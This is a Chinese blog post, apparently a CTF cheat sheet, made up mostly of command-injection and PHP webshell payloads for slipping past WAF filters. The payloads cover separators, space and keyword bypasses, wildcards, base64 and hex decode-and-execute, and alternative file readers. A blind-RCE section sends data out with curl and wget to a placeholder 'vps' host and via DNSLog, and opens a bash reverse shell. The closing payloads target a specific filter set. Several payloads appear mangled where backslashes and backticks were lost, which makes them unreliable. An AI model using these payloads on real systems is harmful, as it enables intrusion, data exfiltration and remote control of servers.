CTF RCE WebShell WAF 绕过完全宝典

FuLita 40 次阅读 发布于 2025-12-23 1428 字


CTF RCE / WebShell WAF 绕过完全宝典


1. 命令分隔符 (多命令执行)

在一行内执行多条命令,或分隔被过滤的命令。

技巧 Payload 示例 说明
分号 cmd1;cmd2 最基础,按顺序执行。
管道符 cmd1|cmd2 将 cmd1 输出作为 cmd2 输入。
逻辑或 cmd1||cmd2 cmd1 失败时执行 cmd2。
逻辑与 cmd1&&cmd2 cmd1 成功时执行 cmd2。
后台运行 cmd1&cmd2 让 cmd1 后台运行,紧接执行 cmd2。
换行符 (URL) cmd1%0acmd2 HTTP 请求中 %0a 代表换行 n,极强绕过。
回车符 (URL) cmd1%0dcmd2 %0d 代表回车 r
命令替换 $(cmd) 先执行括号内命令,将结果替换。
反引号 cmd 同命令替换。

2. 空格绕过 (Space Bypass)

当 WAF 过滤空格 时。

技巧 Payload 示例 说明
IFS (推荐) cat${IFS}flag Linux 内部字段分隔符 (空格/Tab/换行)。
IFS 防粘连 cat$IFS$9flag $9 为空变量,防止解析混淆。
重定向 (输入) cat<flag 利用 < 读取文件,无需空格。
重定向 (其它) cat<>flag 读写模式打开,效果同上。
大括号扩展 {cat,flag} Bash 特性,逗号视为分隔。
Tab 键 cat%09flag URL 编码 %09 为 Tab,Shell 视为空格。
变量截取 X=$' t';cat${X:0:1}flag 利用 $'' 构造含空格变量并截取。

3. 关键词黑名单绕过 (Keyword Bypass)

cat, flag, ls, system 等被正则过滤时。

3.1 字符串拼接/分割

技巧 Payload 示例 说明
反斜杠 (最强) cat flag 转义后字符不变,绕过正则。
反斜杠 (变体) ls 等同于 ls
单引号 c'a't fl'a'g Shell 自动拼接。
双引号 c"a"t Shell 自动拼接。
空变量拼接 c$@at $@, $*, ${x} 为空,不影响命令。
变量赋值 a=c;b=at;$a$b 先赋值再组合。

3.2 通配符 (Wildcards)

技巧 Payload 示例 说明
单字符匹配 c?t f??g ? 匹配任意单个字符。
多字符匹配 c* f* * 匹配任意长度字符。
路径匹配 /bin/c?? flag 匹配 /bin/cat
字符集 c[a]t f[l]ag [] 匹配括号内任一字符。
范围匹配 c[a-z]t 匹配 a-z 之间。
非字母范围 [@-[] 包含大写字母的 ASCII 范围。

4. 敏感字符与路径绕过

/ (斜杠) 或 . (点) 被过滤时。

技巧 Payload 示例 说明
环境变量 (斜杠) ${PATH:0:1} $PATH 首字符通常是 /
Printf (八进制) $(printf "57") 生成 /
Printf (十六进制) $(printf "x2f") 生成 /
Shell 十六进制 echo $'cx61t' Bash 支持 $'xHH' 格式。
IP 地址转数字 ping 2130706433 绕过点分十进制 IP (127.0.0.1)。

5. 命令替代 (Alternative Tools)

cat 被彻底封杀,使用替补命令读取文件。

命令 Payload 示例 核心特点
tac tac flag 首选,反向输出内容。
more/less more flag 分页显示。
head/tail tail flag 显示尾部内容。
nl nl flag 显示内容并带行号。
sort sort flag 对内容排序后输出。
rev rev flag 左右反转内容 (自己转回来即可)。
uniq uniq -c flag 去重统计输出。
od od -c flag 八进制输出 (需还原)。
xxd xxd flag 十六进制输出。
paste paste flag 合并文件输出。
grep grep . flag 匹配所有内容并打印。
sed sed p flag 流编辑器打印。
awk awk '{print}' flag 文本处理打印。
m4 m4 flag 宏处理读取。
dd dd if=flag 块读取。
base64 base64 flag 转码输出 (防内容检测)。

6. 编码与高级混淆 (Encoding)

将命令编码,在执行端解码,绕过所有明文检测。

技巧 Payload 示例 说明
Base64 (管道) echo Y2F0IC9mbGFn|base64 -d|bash 解码 cat /flag 并执行。
Base64 (反引号) echo Y2F0IC9mbGFn|base64 -d 同上,嵌入式执行。
Hex (xxd) echo 636174202f666c6167|xxd -r -p|bash 十六进制还原执行。
Printf 构造 $(printf "154163") 八进制构造 ls
Printf 构造 II $(printf "x63x61x74x20x66x6cx61x67") 十六进制构造 cat flag

7. 无回显与数据外带 (Blind RCE)

命令执行成功但无回显时。

技巧 Payload 示例 说明
延时检测 sleep 5 若响应卡顿 5 秒,说明 RCE 成功。
HTTP 外带 curl http://vps/$(cat flag) 将 flag 拼接到 URL 发送。
Wget 外带 wget --post-data=$(cat flag) http://vps/ POST 方式发送。
DNSLog pingcat flag.dnslog.cn 将 flag 作为子域名解析。
写文件 (Web) cat flag > /var/www/html/1.txt 写入 Web 目录直接访问。
反弹 Shell bash -i >& /dev/tcp/IP/PORT 0>&1 连接远程服务器。

8. PHP 特定绕过 (WebShell 层)

在 PHP 代码层面过滤字母数字时的技巧。

技巧 示例原理
异或 (XOR) '!'^'@' 得到 'a'。遍历符号拼接出 assert
取反 (NOT) ~ 对汉字或不可见字符取反得到关键词。
自增 (Increment) $a='a';$a++; 变为 'b'
通配符执行 /???/??? /??? 在 PHP shell_exec 中可匹配 /bin/cat /flag

9. 长度限制绕过 (Length Limit)

限制输入字符极短 (如 <7)。

原理:利用 ls -t (按时间排序) 和 > (写入文件名) 拼接脚本。

  1. >sl (创建名为 sl 的文件)
  2. >p
  3. >o
  4. ls -t > x (将文件名按时间写入 x)
  5. sh x (执行 x 中的内容)

10. 终极组合拳 (针对你题目的 WAF)

针对过滤:| & ; / cat flag tac php ls

Payload 1: 八进制 Printf + IFS (最稳)

Bash

# 相当于 cat /flag
$(printf${IFS}"1431411644057146154141167")

Payload 2: 排序读取 + 环境变量 (利用工具特性)

Bash

# 相当于 sort /flag
sort${IFS}$(printf${IFS}"57")flag

Payload 3: 100% 纯符号/变量构造 (炫技)

Bash

# 假设 /bin/bash 存在
# ${SHELL:0:1} = /
# cat 绕过正则
cat${IFS}${SHELL:0:1}flag
此作者没有提供个人介绍。
最后更新于 2025-12-23